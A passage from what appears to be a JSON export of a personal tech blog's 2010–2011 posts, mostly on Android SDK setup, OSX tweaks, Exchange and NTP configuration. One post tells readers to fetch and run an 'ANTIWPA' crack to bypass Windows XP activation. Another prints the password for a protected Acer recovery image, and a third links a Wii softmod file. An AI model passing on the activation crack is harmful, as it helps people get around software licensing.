href=\"http://gtmetrix.com\"\u003ehttp://gtmetrix.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003echeck: \u003ca href=\"http://builtwith.com\"\u003ehttp://builtwith.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003echeck: \u003ca href=\"http://redbot.org\"\u003ehttp://redbot.org\u003c/a\u003e\u003c/p\u003e","title":"Very nice website optimalisation tools"},{"content":"Search on google to: ANTIWPA-V3.4.6 FOR X64 AND X86.zip\nExtract the file and run the antiwpa3.bat file. That\u0026rsquo;s it!\n","permalink":"https://blog.wapnet.nl/2011/07/xp-sp3-activation-crack/","summary":"\u003cp\u003eSearch on google to: ANTIWPA-V3.4.6 FOR X64 AND X86.zip\u003c/p\u003e\n\u003cp\u003eExtract the file and run the antiwpa3.bat file.\nThat\u0026rsquo;s it!\u003c/p\u003e","title":"XP SP3 Activation Crack / Hack"},{"content":"There is a very nice GUI tool to troubeshoot webinject scripts. You can download the tool @ http://www.webinject.org/download.html for Windows and Linux.\nAfter you extract or install the tool you can change the globalhttplog line in the config.xml file to: yes so you get the full debug log.\nNote: I found a small memory bug in the GUI when you use the parseresponse parameter in your scripts. To workaround this issue the best you can do is restart the tool (file \u0026gt; restart) before you test the scripts.\n","permalink":"https://blog.wapnet.nl/2011/07/troubleshoot-nagios-webinject/","summary":"\u003cp\u003eThere is a very nice GUI tool to troubeshoot webinject scripts. You can download the tool @ \u003ca href=\"http://www.webinject.org/download.html\"\u003ehttp://www.webinject.org/download.html\u003c/a\u003e for Windows and Linux.\u003c/p\u003e\n\u003cp\u003eAfter you extract or install the tool you can change the \u003cstrong\u003eglobalhttplog\u003c/strong\u003e line in the config.xml file to: \u003cstrong\u003e\u003cglobalhttplog\u003eyes\u003c/globalhttplog\u003e\u003c/strong\u003e so you get the full debug log.\u003c/p\u003e\n\u003cp\u003eNote: I found a small memory bug in the GUI when you use the \u003cstrong\u003eparseresponse\u003c/strong\u003e parameter in your scripts. To workaround this issue the best you can do is restart the tool (file \u0026gt; restart) before you test the scripts.\u003c/p\u003e","title":"Troubleshoot (Nagios) Webinject"},{"content":"Dutch\nhttp://translate.google.com/translate_tts?tl=nl\u0026amp;q=hier%20kun%20%20je%20wel%20leuke%20dingen%20mee%20doen.\nEnglish\nhttp://translate.google.com/translate_tts?tl=en\u0026amp;q=you.can.do.very.nice.things.with.this.url\n","permalink":"https://blog.wapnet.nl/2011/06/text-to-speech-in-url/","summary":"\u003cp\u003eDutch\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://translate.google.com/translate_tts?tl=nl\u0026amp;q=hier%20kun%20%20je%20wel%20leuke%20dingen%20mee%20doen\"\u003ehttp://translate.google.com/translate_tts?tl=nl\u0026amp;q=hier%20kun%20%20je%20wel%20leuke%20dingen%20mee%20doen\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eEnglish\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://translate.google.com/translate_tts?tl=en\u0026amp;q=you.can.do.very.nice.things.with.this.url\"\u003ehttp://translate.google.com/translate_tts?tl=en\u0026amp;q=you.can.do.very.nice.things.with.this.url\u003c/a\u003e\u003c/p\u003e","title":"Text to speech in URL"},{"content":"The build-in graphical screenshot tool in OSX is crappy because it only save the file in tiff format. You can use this commands to maken a screenshot and save it to PNG format. Key CombinationResultCommand+Shift+3Capture entire screen and save as a fileCommand+Control+Shift+3Capture entire screen and copy to the clipboardCommand+Shift+4Capture dragged area and save as a fileCommand+Control+Shift+4Capture dragged area and copy to the clipboardCommand+Shift+4 then Space barCapture a window, menu, desktop icon, or the menu bar and save as a fileCommand+Control+Shift+4 then Space barCapture a window, menu, desktop icon, or the menu bar and copy to the clipboard You can also download and install the freeware tool SnapnGrap from http://www.yellowmug.com ","permalink":"https://blog.wapnet.nl/2011/06/make-an-screenshot-in-osx/","summary":"\u003cp\u003eThe build-in graphical screenshot tool in OSX is crappy because it only save the file in tiff format. You can use this commands to maken a screenshot and save it to PNG format.\nKey CombinationResultCommand+Shift+3Capture entire screen and save as a fileCommand+Control+Shift+3Capture entire screen and copy to the clipboardCommand+Shift+4Capture dragged area and save as a fileCommand+Control+Shift+4Capture dragged area and copy to the clipboardCommand+Shift+4 then Space barCapture a window, menu, desktop icon, or the menu bar and save as a fileCommand+Control+Shift+4 then Space barCapture a window, menu, desktop icon, or the menu bar and copy to the clipboard\nYou can also download and install the freeware tool SnapnGrap from \u003ca href=\"http://www.yellowmug.com\"\u003ehttp://www.yellowmug.com\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2011/06/snapngrap.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/06/snapngrap.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Make a screenshot in OSX"},{"content":"Not a very complicated blogpost, only a simple status font :)\n█░░░░░░░░░░░░░░░░░░\n█████████░░░░░░░░░░\n█████████████████░░\n","permalink":"https://blog.wapnet.nl/2011/06/nice-status-font/","summary":"\u003cp\u003eNot a very complicated blogpost, only a simple status font :)\u003c/p\u003e\n\u003cp\u003e█░░░░░░░░░░░░░░░░░░\u003c/p\u003e\n\u003cp\u003e█████████░░░░░░░░░░\u003c/p\u003e\n\u003cp\u003e█████████████████░░\u003c/p\u003e","title":"Nice status font"},{"content":"[banner]\nDownload Android SDK (original article @ http://androidtricks.net/setup-adb-and-fastboot-android-sdk-mac-osx-18) Download and extract Android SDK from http://developer.android.com/sdk/index.html to your desktop\nBrowse to Tools and double click \u0026ldquo;android\u0026rdquo;. It will open up a terminal window and load the SDK.\nInstall packages Here go to \u0026ldquo;Available Packages\u0026rdquo; and select what you want to download. I selected everything. Wait for the packages to download and install.\nSet the Path Next you need to update the PATH for tools/ and platform-tools/ folder. To do this you need to edit your ~/.bash_profile (create it if you don\u0026rsquo;t already have one). Add the following two lines\nexport PATH=${PATH}:/Users/(username)/Desktop/android-sdk/tools export PATH=${PATH}:/Users/(username)/Desktop/android-sdk/platform-tools Download Fastboot Now go to http://developer.htc.com/adp.html scroll to the middle of the page and download Fastboot binary for OSX. Because HTC host no longer the fastboot binary you can download the version on my blog. Unzip it and place it in /tools/ Now your all set for ADB and Fastboot\nTnx http://androidtricks.net/ for the article!\nTo check if your fastboot works you can start your terminal and cd /Users/(username)/Desktop/android-sdk/tools then run ./fastboot-mac devices When you some output you are connected. Happy modding!! :) Note: please check the comments for more feedback\n[banner]\n","permalink":"https://blog.wapnet.nl/2011/05/setup-adb-and-fastboot-with-android-sdk-on-mac-osx/","summary":"\u003cp\u003e[banner]\u003c/p\u003e\n\u003ch4 id=\"download-android-sdk-original-article--httpandroidtricksnetsetup-adb-and-fastboot-android-sdk-mac-osx-18\"\u003eDownload Android SDK (original article @ \u003ca href=\"http://androidtricks.net/setup-adb-and-fastboot-android-sdk-mac-osx-18\"\u003ehttp://androidtricks.net/setup-adb-and-fastboot-android-sdk-mac-osx-18\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDownload and extract Android SDK from \u003ca href=\"http://developer.android.com/sdk/index.html\" title=\"http://developer.android.com/sdk/index.html\"\u003ehttp://developer.android.com/sdk/index.html\u003c/a\u003e to your desktop\u003c/p\u003e\n\u003cp\u003eBrowse to Tools and double click \u0026ldquo;android\u0026rdquo;. It will open up a terminal window and load the SDK.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/05/1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/05/1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"install-packages\"\u003eInstall packages\u003c/h4\u003e\n\u003cp\u003eHere go to \u0026ldquo;Available Packages\u0026rdquo; and select what you want to download. I selected everything. Wait for the packages to download and install.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/05/2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/05/2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"set-the-path\"\u003eSet the Path\u003c/h4\u003e\n\u003cp\u003eNext you need to update the \u003cstrong\u003ePATH\u003c/strong\u003e for \u003cstrong\u003etools/\u003c/strong\u003e and \u003cstrong\u003eplatform-tools/\u003c/strong\u003e folder. To do this you need to edit your \u003cstrong\u003e~/.bash_profile\u003c/strong\u003e (create it if you don\u0026rsquo;t already have one). Add the following two lines\u003c/p\u003e","title":"Setup ADB and Fastboot with Android SDK on Mac OSX"},{"content":"If you must sent your phone back to the factory because of your hardware warranty, make sure your phone is running a stock rom. I will tell you how to restore your phone back to stock.\nAfter this tutorial your phone is completly unrooted, s-on and with a HTC stock radio :)\nDownload a stock rom @ http://shipped-roms.com/ Download and install HTC sync @ http://www.htc.com/www/support.aspx Be sure your phone is running a HTC Sense rom (e.g. cyanogenmod cannot revert back to stock) Ok, lets started\nMake a backup of all your files Connect your phone to your pc Pull down the android menu and switch from charging to HTC Sync (on the phone) With HTC Sync wizard (PC) give your phone some name (if you run HTC Sync for the first time) Now run the signed exe file your downloaded @ shipped-rom Follow the wizard to flash the rom Now your phone is back to stock. Enjoy your warranty :D\n","permalink":"https://blog.wapnet.nl/2011/05/htc-restore-to-stock-factory-rom/","summary":"\u003cp\u003eIf you must sent your phone back to the factory because of your hardware warranty, make sure your phone is running a stock rom. I will tell you how to restore your phone back to stock.\u003c/p\u003e\n\u003cp\u003eAfter this tutorial your phone is completly unrooted, s-on and with a HTC stock radio :)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDownload a stock rom @ \u003ca href=\"http://shipped-roms.com/\"\u003ehttp://shipped-roms.com/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDownload and install HTC sync @ \u003ca href=\"http://www.htc.com/www/support.aspx\"\u003ehttp://www.htc.com/www/support.aspx\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBe sure your phone is running a HTC Sense rom (e.g. cyanogenmod cannot revert back to stock)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOk, lets started\u003c/p\u003e","title":"HTC Restore to stock / factory ROM"},{"content":"Here the trick to change this behavior under Finder.\nOpen Terminal.\nOpen InfoPlist.strings file using vi text editor as a root. sudo vi /System/Library/CoreServices/Finder.app/Contents/Resources/English.lproj/InfoPlist.strings\n(change English.lproj to your language)\nFind below line: /\\* General kind strings */ \u0026ldquo;Folder\u0026rdquo; = \u0026ldquo;Folder\u0026rdquo;;\nDo following change (by adding space before \u0026quot; Folder\u0026quot; word after equal sign). \u0026ldquo;Folder\u0026rdquo; = \u0026quot; Folder\u0026quot;;\nSave the InfoPlist.strings file by press [esc], type wq (mean write and quit vi) then press [return].\nClose Terminal\nRestart your Finder, right click on Finder icon while pressing the key[option] and select Relaunch your Finder.\nOpen Finder and order by Kind.\n","permalink":"https://blog.wapnet.nl/2011/04/osx-finder-sort-folder-before-file/","summary":"\u003cp\u003eHere the trick to change this behavior under Finder.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eOpen Terminal.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOpen InfoPlist.strings file using vi text editor as a root.\nsudo vi /System/Library/CoreServices/Finder.app/Contents/Resources/English.lproj/InfoPlist.strings\u003c/p\u003e\n\u003cp\u003e(change English.lproj to your language)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFind below line:\n/\\* General kind strings */\n\u0026ldquo;Folder\u0026rdquo; = \u0026ldquo;Folder\u0026rdquo;;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDo following change (by adding space before \u0026quot; Folder\u0026quot; word after equal sign).\n\u0026ldquo;Folder\u0026rdquo; = \u0026quot; Folder\u0026quot;;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSave the InfoPlist.strings file by press [esc], type wq (mean write and quit vi) then press [return].\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eClose Terminal\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRestart your Finder, right click on Finder icon while pressing the key[option] and select Relaunch your Finder.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/04/finder-relaunch.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/04/finder-relaunch.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOpen Finder and order by Kind.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/04/finder-kind.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/04/finder-kind.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"OSX Finder: Sort Folder Before File"},{"content":" SELECT SERVERPROPERTY(\u0026#39;productversion\u0026#39;), SERVERPROPERTY (\u0026#39;productlevel\u0026#39;), SERVERPROPERTY (\u0026#39;edition\u0026#39;) ","permalink":"https://blog.wapnet.nl/2011/04/how-to-identify-your-sql-server-version-and-edition/","summary":"\u003cblockquote\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSELECT SERVERPROPERTY(\u0026#39;productversion\u0026#39;), SERVERPROPERTY (\u0026#39;productlevel\u0026#39;), SERVERPROPERTY (\u0026#39;edition\u0026#39;)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/blockquote\u003e","title":"How to identify your SQL Server version and edition"},{"content":"Because a lot of android phones have a really small disk (NAND) you must move all the apps manually to SD. You can automate this with an tool on the marked (easy way).\nSearch for modinstalllocation in the marked download and install this. Start the tool and set the value on 2 external The hard way:\nConnect the phone using the android SDK. (If you don\u0026rsquo;t know how, you can use my tutorial /2011/03/windows-7-x64-android-sdk-example-connect-htc-desire/) Now start cmd change folder to C:\\Program Files (x86)\\Android\\android-sdk\\platform-tools Now run the following command: adb shell pm setInstallLocation 2\nNote: For both options you\u0026rsquo;re phone don\u0026rsquo;t have to be rooted ;)\n","permalink":"https://blog.wapnet.nl/2011/03/android-2-2-install-all-apps-to-sd-even-the-unsupported-apps/","summary":"\u003cp\u003eBecause a lot of android phones have a really small disk (NAND) you must move all the apps manually to SD. You can automate this with an tool on the marked (easy way).\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eSearch for \u003cstrong\u003emodinstalllocation\u003c/strong\u003e in the marked\u003c/li\u003e\n\u003cli\u003edownload and install this.\u003c/li\u003e\n\u003cli\u003eStart the tool and set the value on \u003cstrong\u003e2 external\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe \u003cem\u003ehard\u003c/em\u003e way:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eConnect the phone using the android SDK. (If you don\u0026rsquo;t know how, you can use my tutorial \u003ca href=\"/2011/03/windows-7-x64-android-sdk-example-connect-htc-desire/\"\u003e/2011/03/windows-7-x64-android-sdk-example-connect-htc-desire/\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNow start cmd\u003c/li\u003e\n\u003cli\u003echange folder to C:\\Program Files (x86)\\Android\\android-sdk\\platform-tools\u003c/li\u003e\n\u003cli\u003eNow run the following command:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cblockquote\u003e\n\u003cp\u003eadb shell pm setInstallLocation 2\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Android 2.2: Install all apps to SD (even the unsupported apps)"},{"content":"I had some troubles with the Android SDK so I will explain the steps you must take to connect your phone from your pc\nPreparation:\nDownload the Android SDK Turn on your USB debugging mode (On the device, go to the home screen, press MENU, select Applications \u0026gt; Development, then enable USB debugging) Steps:\nInstall the Android SDK During the install ask to download and install the Java SDK Continue the installation when you have installed the Java SDK Start the (Android) SDK Manager and download all the default packages. Note: when you start the SDK Manager in the future always start the shortcut with administrator permissions. (right click \u0026gt; runas admin) Now download the USB drivers with the SDK Manager Now start notepad as administrator and open \u0026ldquo;C:\\Program Files (x86)\\Android\\android-sdk\\extras\\google\\usb_driver\\android_winusb.inf\u0026rdquo; Now add some x64 code to the 32bits inf file [Google.NTamd64] ; HTC Desire %SingleAdbInterface% = USB_Install, USB\\VID_0BB4\u0026amp;PID_0C87 %CompositeAdbInterface% = USB_Install, USB\\VID_0BB4\u0026amp;PID_0C87\u0026amp;MI_01\nExample: Now connect your phone with an USB cable (usb debuging mode must be turned on) open your device manager and update the android device with the modified driver. Now you can start cmd and use the adb util to manager your phone. Some example if you want to change your default install location for all apps to SD (even the app that not support this feature) If your phone are other phone rather than HTC Desire, you have to change the Hardware ID (e.g. USB\\VID_0BB4\u0026amp;PID_0C87) to be your phone’s ID. You can get this ID by\n- Right-click on the My computer -\u0026gt; properties. - Click on Device Manager. - Find the phone in the list on left-hand. (Should be some warning mark if you don’t have driver for it) - Right click on ADB -\u0026gt; Properties -\u0026gt; Detail - Change the drop-down box to Hardware ID. This is where your phone USB ID is keep. Use this ID to put in the android_winusb.inf as described above.\nNote: for 32bits computers use: [Google.NTx86] Note: for 64bits computers use: [Google.NTamd64]\nHappy debugging :)\n(pfff crappy wordpress editor ;))\n","permalink":"https://blog.wapnet.nl/2011/03/windows-7-x64-android-sdk-example-connect-htc-desire/","summary":"\u003cp\u003eI had some troubles with the Android SDK so I will explain the steps you must take to connect your phone from your pc\u003c/p\u003e\n\u003cp\u003ePreparation:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDownload the Android SDK\u003c/li\u003e\n\u003cli\u003eTurn on your USB debugging mode (On the device, go to the home screen, press MENU, select Applications \u0026gt; Development, then enable USB debugging)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eSteps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eInstall the Android SDK\u003c/li\u003e\n\u003cli\u003eDuring the install ask to download and install the Java SDK\u003c/li\u003e\n\u003cli\u003eContinue the installation when you have installed the Java SDK\u003c/li\u003e\n\u003cli\u003eStart the (Android) SDK Manager and download all the default packages. Note: when you start the SDK Manager in the future always start the shortcut with administrator permissions. (right click \u0026gt; runas admin)\u003c/li\u003e\n\u003cli\u003eNow download the USB drivers with the SDK Manager\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/wp-content/uploads/2011/03/sdk.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/03/sdk.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNow start notepad as administrator and open \u0026ldquo;C:\\Program Files (x86)\\Android\\android-sdk\\extras\\google\\usb_driver\\android_winusb.inf\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eNow add some x64 code to the 32bits inf file\u003c/li\u003e\n\u003c/ol\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[Google.NTamd64]\n; HTC Desire\n%SingleAdbInterface%        = USB_Install, USB\\VID_0BB4\u0026amp;PID_0C87\n%CompositeAdbInterface%     = USB_Install, USB\\VID_0BB4\u0026amp;PID_0C87\u0026amp;MI_01\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Windows 7 x64 Android SDK - Example: Connect HTC Desire"},{"content":"My neighbour give me his old laptop because he have a lot of problems with it. But he gives me only one crappy unbooteble XP cd. After some searching I found on a CD2 Recover image file but the IMG / ghost file was password protected. I will write down the steps here to create a new recovery cd.\nWhat do you need:\nNlite (google) Ghost explorer (Google) Steps to extract the I386\nFirst start Ghost explorer Click File \u0026gt; open \u0026gt; select *.* Browse to the CD and select the ACER\\IMAGE\\ WXPNLPER.IMG Password: aim1r8 Extract the I386 to a temp folder Steps to create a CD\nStart nlite Import the i386 folder When you missing some files you can use this url: http://www.nu2.nu/download.php?sFile=wxp10.zip Click on Unattended Click on Bootable CD Click on next twice Insert a blank cd and direct burn it ","permalink":"https://blog.wapnet.nl/2011/03/create-acer-custom-recovery-cd/","summary":"\u003cp\u003eMy neighbour give me his old laptop  because he have a lot of problems with it. But he gives me only one crappy unbooteble XP cd. After some searching I found on a CD2 Recover image file but the IMG / ghost  file was password protected. I will write down the steps here to create a new recovery cd.\u003c/p\u003e\n\u003cp\u003eWhat do you need:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eNlite (google)\u003c/li\u003e\n\u003cli\u003eGhost explorer (Google)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eSteps to extract the I386\u003c/p\u003e","title":"Create Acer custom recovery CD"},{"content":"Unfortunately the XP powertoy \u0026ldquo;Image Resizer\u0026rdquo; don\u0026rsquo;t work @ Windows 7. But now you can resize the picture as easy it was before :)\nCheck: http://imageresizer.codeplex.com/ ","permalink":"https://blog.wapnet.nl/2011/02/image-resizer-powertoy-for-windows-7/","summary":"\u003cp\u003eUnfortunately the XP powertoy \u0026ldquo;Image Resizer\u0026rdquo; don\u0026rsquo;t work @ Windows 7. But now you can resize the picture as easy it was before :)\u003c/p\u003e\n\u003cp\u003eCheck: \u003ca href=\"http://imageresizer.codeplex.com/\"\u003ehttp://imageresizer.codeplex.com/\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2011/02/resize1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/02/resize1.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2011/02/resize2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/02/resize2.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Image Resizer Powertoy for Windows 7"},{"content":"I had to renew an expired self signed SSL certificate that i have on Exchange 2007 box today, and found the SSL clone trick interesting and did the job for me. So here\u0026rsquo;s the howto:\nUsing the Exchange Management Shell run the following commands:\nGet-ExchangeCertificate -DomainName server.yourdomain.com (copy the thumbprint of the expired SSL) Get-ExchangeCertificate -Thumbprint | New-ExchangeCertificate\nNow you can go to IIS and select your new created SSL certificate (this SSL have the same name as the old SSL one)\nYou might need to reboot IIS or any other service you enabled this SSL for.\n","permalink":"https://blog.wapnet.nl/2011/02/renew-self-signed-ssl-exchange-2007/","summary":"\u003cp\u003eI had to renew an expired self signed SSL certificate that i have on Exchange 2007 box today, and found the SSL clone trick interesting and did the job for me. So here\u0026rsquo;s the howto:\u003c/p\u003e\n\u003cp\u003eUsing the Exchange Management Shell run the following commands:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eGet-ExchangeCertificate -DomainName server.yourdomain.com (copy the thumbprint of the expired SSL)\nGet-ExchangeCertificate -Thumbprint \u003cold thumbprint\u003e | New-ExchangeCertificate\u003c/p\u003e\n\u003cp\u003eNow you can go to IIS and select your new created SSL certificate (this SSL have the same name as the old SSL one)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2010/12/IIS.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2010/12/IIS.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Renew Self-Signed SSL Exchange 2007"},{"content":"This is best softmod tutorial for all Wii firmwares:\nhttp://www.wii-media.nl/forum/53-wii-tutorials/40520-tutorial-intercity-softmod-tm-fw43.html\nThe file you can use: http://www.mediafire.com/?uo3hlkk5727tlaq\nHappy hacking :)\n","permalink":"https://blog.wapnet.nl/2011/01/softmod-your-wii-dutch/","summary":"\u003cp\u003eThis is best softmod tutorial for all Wii firmwares:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.wii-media.nl/forum/53-wii-tutorials/40520-tutorial-intercity-softmod-tm-fw43.html\"\u003ehttp://www.wii-media.nl/forum/53-wii-tutorials/40520-tutorial-intercity-softmod-tm-fw43.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe file you can use: \u003ca href=\"http://www.mediafire.com/?uo3hlkk5727tlaq\"\u003ehttp://www.mediafire.com/?uo3hlkk5727tlaq\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHappy hacking :)\u003c/p\u003e","title":"Softmod your Wii (Dutch)"},{"content":"Here you can download all the latest DJ sets of the most populair DJ\u0026rsquo;s\nhttp://www.livesets.us/\nSome DJ sets:\ntiesto joachim giraud john digweed martin pieters pete tong roger shah sensation trance around the world dj idriss dj sandstorm gabriel and dresden lindo duvall paul van dyk ben liebrand armin van buuren markus schulz paul van dyk ferry corsten menno de jong david guetta\n","permalink":"https://blog.wapnet.nl/2011/01/download-dj-live-sets/","summary":"\u003cp\u003eHere you can download all the latest DJ sets of the most populair DJ\u0026rsquo;s\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.livesets.us/\"\u003ehttp://www.livesets.us/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSome DJ sets:\u003c/p\u003e\n","title":"Download DJ Live sets"},{"content":"Nice QR code generator: http://zxing.appspot.com/generator/ You can download a \u0026ldquo;barcode scanner\u0026rdquo; on you\u0026rsquo;re phone to read the QR codes from your display.\n","permalink":"https://blog.wapnet.nl/2011/01/qr-code-generator/","summary":"\u003cp\u003eNice QR code generator: \u003ca href=\"http://zxing.appspot.com/generator/\"\u003ehttp://zxing.appspot.com/generator/\u003c/a\u003e You can download a \u0026ldquo;barcode scanner\u0026rdquo; on you\u0026rsquo;re phone to read the QR codes from your display.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/01/example.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/01/example.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"QR Code Generator"},{"content":"When configured correctly, you can use the Windows Time (W32Time) service as an SNTP/NTP server for both windows and non-windows SNTP/NTP clients.\nHere\u0026rsquo;s how to do it:\nClick Start, click Run, type regedit, and then click OK.\nLocate and then click the following registry entry:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\Config\\\nIn the right pane, right-click AnnounceFlags, and then click Modify.\nIn the Edit DWORD Value dialog box, under Value data, type 5, and then click OK.\nEnable NTPServer.\nLocate and then click the following registry subkey:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\nServices\\W32Time\\TimeProviders\\NtpServer\\\nIn the right pane, right-click Enabled, and then click Modify. In the Edit DWORD Value dialog box, type 1 under Value data, and then click OK. Exit Registry Editor.\nAt the command prompt, type the following command to restart the Windows Time service, and then press ENTER:\nnet stop w32time \u0026amp;\u0026amp; net start w32time\nThis should get you setup with minimal registry hack impact.\nSource: http://bchavez.bitarmory.com/archive/2009/12/21/how-to-setup-a-windows-2008-r2-sntp-ntp-server.aspx\n","permalink":"https://blog.wapnet.nl/2010/12/how-to-setup-a-windows-2008-r2-sntpntp-server/","summary":"\u003cp\u003eWhen configured correctly, you can use the Windows Time (W32Time) service as an SNTP/NTP server for both windows and non-windows SNTP/NTP clients.\u003c/p\u003e\n\u003cp\u003eHere\u0026rsquo;s how to do it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eClick \u003cstrong\u003eStart\u003c/strong\u003e, click \u003cstrong\u003eRun\u003c/strong\u003e, type regedit, and then click \u003cstrong\u003eOK\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eLocate and then click the following registry entry:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\Config\\\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the right pane, right-click \u003cstrong\u003eAnnounceFlags\u003c/strong\u003e, and then click \u003cstrong\u003eModify\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the \u003cstrong\u003eEdit DWORD Value\u003c/strong\u003e dialog box, under \u003cstrong\u003eValue data\u003c/strong\u003e, type 5, and then click \u003cstrong\u003eOK\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEnable NTPServer.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eLocate and then click the following registry subkey:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\u003cbr\u003e\nServices\\W32Time\\TimeProviders\\NtpServer\\\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003eIn the right pane, right-click \u003cstrong\u003eEnabled\u003c/strong\u003e, and then click \u003cstrong\u003eModify\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003eIn the \u003cstrong\u003eEdit DWORD Value\u003c/strong\u003e dialog box, type 1 under \u003cstrong\u003eValue data\u003c/strong\u003e, and then click \u003cstrong\u003eOK\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExit Registry Editor.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAt the command prompt, type the following command to restart the Windows Time service, and then press ENTER:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003enet stop w32time \u0026amp;\u0026amp; net start 